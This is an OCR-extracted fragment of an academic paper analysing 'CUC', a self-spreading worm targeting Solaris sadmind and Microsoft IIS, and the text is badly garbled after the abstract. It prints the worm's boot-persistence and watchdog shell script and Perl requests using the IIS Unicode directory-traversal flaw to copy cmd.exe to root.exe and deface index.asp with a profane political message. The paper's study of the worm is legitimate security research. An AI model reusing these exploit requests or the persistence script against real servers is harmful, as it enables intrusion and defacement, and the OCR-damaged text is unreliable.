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CUC- A Self-pervading Network Attacking System

Rui Suying  Gonglian
(Southeast University, Computer Science Dept. , 210096 Nanjing, P.R.China)

Abstract The behavior pattern and the architecture of a self-pervading network attacking system -CUC is analyzed in this
paper, and its pervading mechanism is also studied. Besides, this paper provides a complete description of the
vulnerabilities exploited in this system and comparison between CUC system and Worm which was spasmed in 1988.
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®  seed root  home
.rhosts “e 7z letc/rc2.d/S71rpc
““/bin/nohup /dev/cuc/start.sh >/dev/null 2>&1 &~
[devicuc ftp (perl )
) 5 sadmind 5  Unicode
) 300 300
2000
/bin/ps -efj/bin/grep uniattack.pl > /dev/cub/tmpl
while true
do
/bin/sleep 300

/bin/ps -efj/bin/grep uniattack.pl > /dev/cub/tmp?2
oinfawk ‘{print $2}' /dev/cub/tmpl > /dev/cub/tmp3
process="/binfawk ‘{print $2}'/dev/cub/tmp2’
for p in $process;do
/bin/grep $p /dev/cub/tmp3
if [$? =0];then
fbin/kill -9 $p
fi
done
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cuc brute
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Microsoft NT4.0  Microsoft 2000 1S40 50 Unicode““/>” <<\~
WWW
Ccuc unicodeattack.pl Ccuc
NT+IIS WWW

sendraw("GET/scripts/..%c0%af../winnt/system32/cmd.exe?/c+copy-+\winnt\\system32\\cmd.exe+root.exe
HTTP/1.0\\n\r\n");

sendraw("'GET/scripts/root.exe?/c+echo+"<html*>"<body-+bgcolor%3Dblack>"<br">"<br">"<hrA>N<br>N<pri>n
<br’>"<table+width%3D100%">"\<td">"<p+align%3D%22center%22">"<font+size%3D7+color%3Dred">fuck+USA+
Government</font">"<tr">"<td">"<p+align%3D%22center%22">"<font+size%3D7+color%3Dred">fuck+PoizonBOX"
<tr">"<td">"<p-+align%3D%22center%22">"<font+size%3D4+color%3Dred">contact:sysadmen\@yahoo.com.cn*</htm
I">>. /$c/index.asp HTTP/1.0\An\An");
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